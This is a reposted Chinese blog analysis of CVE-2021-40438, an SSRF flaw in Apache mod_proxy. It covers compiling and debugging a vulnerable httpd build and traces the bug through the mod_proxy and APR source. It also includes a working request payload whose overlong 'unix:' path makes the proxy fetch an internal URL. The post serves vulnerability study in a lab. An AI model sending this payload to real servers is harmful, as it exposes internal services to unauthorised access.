CVE-2021-40438 Apache mod_proxy SSRF

admin 2023年12月4日00:42:15评论69 views字数 16137阅读53分47秒阅读模式

CVE-2021-40438 Apache mod_proxy SSRF

感谢师傅 · 关注我们

CVE-2021-40438 Apache mod_proxy SSRF

由于,微信公众号推送机制改变,现在需要设置为星标才能收到推送消息。大家就动动发财小手设置一下呗!啾咪~~~

CVE-2021-40438 Apache mod_proxy SSRF


前言

最近开始深入了解一些Web服务器的漏洞,感觉Apache mod_proxy SSRF这个漏洞还是很值得深究的。一方面是为了学习Apache的调试知识,还有一方面是检验一下自身的C语言水平。

Apache调试之路

这里我的调试方式是远程调试,主机和虚拟机信息如下:

宿主机:Windows11       (192.168.135.1)
虚拟机:Ubuntu22.04 (192.168.135.138)

Apache是用C编写的Web服务器,很难像Tomcat这种用java写的服务器那样很方便地调试。在分析Apache mod_proxy SSRF之前,我们首先需要编译、调试这个漏洞所需要的Apache。在调试之前,首先安装依赖,包括我们编译软件所需要的build-essential,以及调试C程序所需要的gdb,以及Apache所依赖的几个第三方库:

sudo apt-get install build-essential gdb
sudo apt-get install --no-install-recommends libapr1-dev libaprutil1-dev libpcre3-dev

在编译Apache之前,我们还需要安装ARP依赖,这是因为这个SSRF漏洞的有一些关键的过程是在apr这个依赖里。完整的APR(Apache portable Run-time libraries,Apache可移植运行库)实际上包含了三个开发包:apr、apr-util以及apr-iconv,每一个开发包分别独立开发,并拥有自己的版本。apr-util该目录中也是包含了一些常用的开发组件。这些组件与apr目录下的相比,它们与apache的关系更加密切一些。比如存储段和存储段组,加密等等。但是这里我们只需要apr和apr-util这两个安装包。

apr-util安装依赖于apr,因此需要首先安装apr-1.6.5:

wget https://dlcdn.apache.org/apr/apr-1.6.5.tar.gz #下载apr-1.6.5源码
tar -zxvf apr-1.6.5.tar.gz
cd apr-1.6.5/
CLFAGS="-g" ./configure --prefix=/home/rainb0w/workspace/apr-1.6.5/
make
make install

安装apr-util:

wget https://dlcdn.apache.org/apr/apr-util-1.6.3.tar.gz
tar -zxvf apr-util-1.6.3.tar.gz
cd apr-util-1.6.3/
CLFAGS="-g" ./configure --prefix=/home/rainb0w/workspace/apr-util-1.6.3 --with-apr=/home/rainb0w/workspace/apr-1.6.5/
make
make install

因为CVE-2021-40438已经在Apache HTTP Server 2.4.49及更高版本中修补,所以我们需要找到低版本的Apache进行编译,直接到官网下载:https://archive.apache.org/dist/httpd/,下载后解压:

wget https://archive.apache.org/dist/httpd/httpd-2.4.43.tar.gz
tar -zxvf httpd-2.4.43.tar.gz

我的目录为:/home/rainb0w/workspace/httpd-2.4.43

cd /home/rainb0w/workspace/httpd-2.4.43
CFLAGS="-g" ./configure --prefix=/home/rainb0w/workspace/httpd-2.4.43/ --with-apr=/home/rainb0w/workspace/apr-1.6.5/ --with-apr-util=/home/rainb0w/workspace/apr-util-1.6.3/
make
make install

这是我安装之后的目录结构:

CVE-2021-40438 Apache mod_proxy SSRF

根据披露出的漏洞细节可以得知,该漏洞是由于mod_proxy 将请求转发到远程用户选择的源服务器,因此我们需要先配置一个反向代理。

首先将proxy_module和proxy_http_module这两个模块前的注释去掉:

CVE-2021-40438 Apache mod_proxy SSRF

之后增加一个虚拟主机的配置:

<VirtualHost *>
      ServerAdmin webmaster@localhost
      ServerName localhost
      DocumentRoot /home/rainb0w/workspace/httpd-2.4.43/htdocs
      LogLevel notice proxy:trace8
      ErrorLog /home/rainb0w/workspace/httpd-2.4.43/logs/error.log
      CustomLog /home/rainb0w/workspace/httpd-2.4.43/logs/access.log combined
      ProxyPass / "http://192.168.135.1/"
      ProxyPassReverse / "http://192.168.135.1/"
</VirtualHost>

这里反代的地址是我宿主机的,需要改成自己的。DocumentRoot、ErrorLog和CustomLog也都要改成自己的,不然会报错。之后我们在/home/rainb0w/workspace/httpd-2.4.43目录下创建一个目录.vscode,在.vscode目录下创建一个文件,文件名为launch.json,文件值如下:

{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "(gdb) Launch",
"type": "cppdbg",
"request": "launch",
"program": "/home/rainb0w/workspace/httpd-2.4.43/bin/httpd",
"args": ["-X", "-DFOREGROUND"],
"stopAtEntry": false,
"cwd": "/home/rainb0w/workspace/httpd-2.4.43",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
]
}
]
}

program是需要调制的二进制文件,cwd是指 定运行时的目录,都需要改成自己的。之后在虚拟机中安装openssh-server,确保宿主机可以使用ssh登陆到root。

接着在vscode中,安装Remote – SSH扩展,添加一个远程服务器,如下:

CVE-2021-40438 Apache mod_proxy SSRF

接着安装调试C所需要的扩展:C/C++(https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools)

最后在源码中找到需要调试的部分,打下断点,即可远程调试。

Apache mod_proxy SSRF漏洞分析

漏洞复现

我本地的环境:

http://192.168.135.138/:

CVE-2021-40438 Apache mod_proxy SSRF

访问/1.txt:

CVE-2021-40438 Apache mod_proxy SSRF

接着给出payload:

GET http://192.168.135.138/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://127.0.0.1/1.txt HTTP/1.1
Host: 192.168.135.138
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

结果为:

CVE-2021-40438 Apache mod_proxy SSRF

漏洞分析

Apache在配置反代的后端服务器时,有两种情况:

  • 直接使用某个协议反代到某个IP和端口,比如ProxyPass / "http://localhost:8080"

  • 使用某个协议反代到unix套接字,比如ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"

第二种情况的设计我觉得不是很好,相当于让用户可以使用一个Apache自创的写法来配置后端地址。那么这时候就会涉及到parse的过程,需要将这种自创的语法转换成能兼容正常socket连接的结构,而fix_uds_filename函数就是做这个事情的。

https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html

漏洞点在modules/proxy/proxy_util.c的fix_uds_filename函数处:

CVE-2021-40438 Apache mod_proxy SSRF

首先我们需要知道r->filename是什么?因为反代后端是http、https协议的服务,因此我们在modules/proxy/mod_proxy_http.c的中找到定义:

static int proxy_http_canon(request_rec *r, char *url)
{
  char *host, *path, sport[7];
  char *search = NULL;
  const char *err;
  const char *scheme;
  apr_port_t port, def_port;

  /* ap_port_of_scheme() */
  if (strncasecmp(url, "http:", 5) == 0) {
      url += 5;
      scheme = "http";
  }
  else if (strncasecmp(url, "https:", 6) == 0) {
      url += 6;
      scheme = "https";
  }
  else {
      return DECLINED;
  }
  port = def_port = ap_proxy_port_of_scheme(scheme);

  ap_log_rerror(APLOG_MARK, APLOG_TRACE1, 0, r,
                "HTTP: canonicalising URL %s", url);

  /* do syntatic check.
    * We break the URL into host, port, path, search
    */
  err = ap_proxy_canon_netloc(r->pool, &url, NULL, NULL, &host, &port);
  if (err) {
      ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01083)
                    "error parsing URL %s: %s", url, err);
      return HTTP_BAD_REQUEST;
  }

  /*
    * now parse path/search args, according to rfc1738:
    * process the path.
    *
    * In a reverse proxy, our URL has been processed, so canonicalise
    * unless proxy-nocanon is set to say it's raw
    * In a forward proxy, we have and MUST NOT MANGLE the original.
    */
  switch (r->proxyreq) {
  default: /* wtf are we doing here? */
  case PROXYREQ_REVERSE:
      if (apr_table_get(r->notes, "proxy-nocanon")) {
          path = url;   /* this is the raw path */
      }
      else {
          path = ap_proxy_canonenc(r->pool, url, strlen(url),
                                    enc_path, 0, r->proxyreq);
          search = r->args;
      }
      break;
  case PROXYREQ_PROXY:
      path = url;
      break;
  }

  if (path == NULL)
      return HTTP_BAD_REQUEST;

  if (port != def_port)
      apr_snprintf(sport, sizeof(sport), ":%d", port);
  else
      sport[0] = '';

  if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
      host = apr_pstrcat(r->pool, "[", host, "]", NULL);
  }
  r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
          "/", path, (search) ? "?" : "", (search) ? search : "", NULL);
  return OK;
}

审计代码可以发现,首先判断了url是否是http:https:,若不是,则返回-1。之后,还获取了schema和port,接着调用ap_proxy_canon_netloc函数,若存在某些错误,则写入日志,并返回HTTP_BAD_REQUEST,也就是400:

CVE-2021-40438 Apache mod_proxy SSRF

接着依次获取sport,path,search,最后调用apr_pstrcat函数拼接proxy:、scheme、://、host、sport、/、path、?、search,其中?是存在search时才会拼接进去的。最后将拼接的值赋给r->filename。

在modules/proxy/mod_proxy_http.c的111行打下断点,发送payload可以看到得到的变量值:

CVE-2021-40438 Apache mod_proxy SSRF

接着程序走到modules/proxy/proxy_util.c的fix_uds_filename函数处:

static void fix_uds_filename(request_rec *r, char **url) 
{
  char *ptr, *ptr2;
  if (!r || !r->filename) return;

  if (!strncmp(r->filename, "proxy:", 6) &&
          (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
          (ptr = ap_strchr(ptr2, '|'))) {
      apr_uri_t urisock;
      apr_status_t rv;
      *ptr = '';
      rv = apr_uri_parse(r->pool, ptr2, &urisock);
      if (rv == APR_SUCCESS) {
          char *rurl = ptr+1;
          char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
          apr_table_setn(r->notes, "uds_path", sockpath);
          *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
          /* r->filename starts w/ "proxy:", so add after that */
          memmove(r->filename+6, rurl, strlen(rurl)+1);
          ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
                  "*: rewrite of url due to UDS(%s): %s (%s)",
                  sockpath, *url, r->filename);
      }
      else {
          *ptr = '|';
      }
  }
}

首先判断r->filename的是否由proxy:开头,接着判断r->filename的字符串中含有关键字unix:,然后判断unix:后是否含有|

若满足条件,则执行apr_uri_parse函数,rv结果为0:

CVE-2021-40438 Apache mod_proxy SSRF

而APR_SUCCESS的值也为0:

CVE-2021-40438 Apache mod_proxy SSRF

因此满足rv == APR_SUCCESS,进入if判断。之后将|之后的值赋值给rurl,将unix:后面的内容进行解析,设置成uds_path的值。假设r->filename为ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/",那么rurl为http://localhost:8080/,uds_path为/var/run/www.sock

假设发送如下请求:

GET /?unix:/var/run/test.sock|http://localhost:8080/ HTTP/1.1
...

logs/error.log中会出现如下内容:

CVE-2021-40438 Apache mod_proxy SSRF

提示我们找不到unix套接字/var/run/test.sock。但是该SSRF是让它把请求发送给|之后的地址,这是怎么做到呢?

fix_uds_filename函数中,unix套接字的地址来自于下面这两行代码:

char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);

若ap_runtime_dir_relative函数返回null,那么后面将会变成普通的TCP连接,如下:

CVE-2021-40438 Apache mod_proxy SSRF

ap_runtime_dir_relative函数如下所示:

CVE-2021-40438 Apache mod_proxy SSRF

可以看到如果我们使得if中的条件不满足就会返回null,再跟进一下apr_filepath_merge函数,其中有这样一段代码:

CVE-2021-40438 Apache mod_proxy SSRF

其中APR_PATH_MAX的定义如下:

CVE-2021-40438 Apache mod_proxy SSRF

CVE-2021-40438 Apache mod_proxy SSRF

因此,如果我们传入的unix:|之间的内容超过4092,那么apr_filepath_merge函数就会返回APR_ENAMETOOLONG导致ap_runtime_dir_relative函数返回null,从而使得|后的地址被请求,造成SSRF。


往期推荐

Java/Python/PHP 内存马

利用Windows远程连接kali(附公网方案)

为专业人士打造的终端、主机主动防御系统

某众测黑盒0day挖掘获得奖金上限

一款针对用友NC综合漏洞利用工具

【Web实战】零基础微信小程序逆向

HW红队攻防、渗透痕迹隐藏的神器(附下载)

SRC挖掘|任意用户登录漏洞挖掘思路

【安全工具】FoFa 查询工具

一款红/蓝队环境自动化部署工具,支持多种场景,渗透,开发,代理环境,服务可选项等.



声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果






点击左侧关注我们
关键字:资源
资源页面不定时更新资源

【免责声明版权归原作者,如有侵权,请联系我们进行删除或与您共商解决,感谢阅读


CVE-2021-40438 Apache mod_proxy SSRF

点分享

CVE-2021-40438 Apache mod_proxy SSRF

点收藏

CVE-2021-40438 Apache mod_proxy SSRF

点点赞

CVE-2021-40438 Apache mod_proxy SSRF

点在看



原文始发于微信公众号(黑客白帽子):CVE-2021-40438 Apache mod_proxy SSRF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月4日00:42:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-40438 Apache mod_proxy SSRFhttps://cn-sec.com/archives/2264602.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息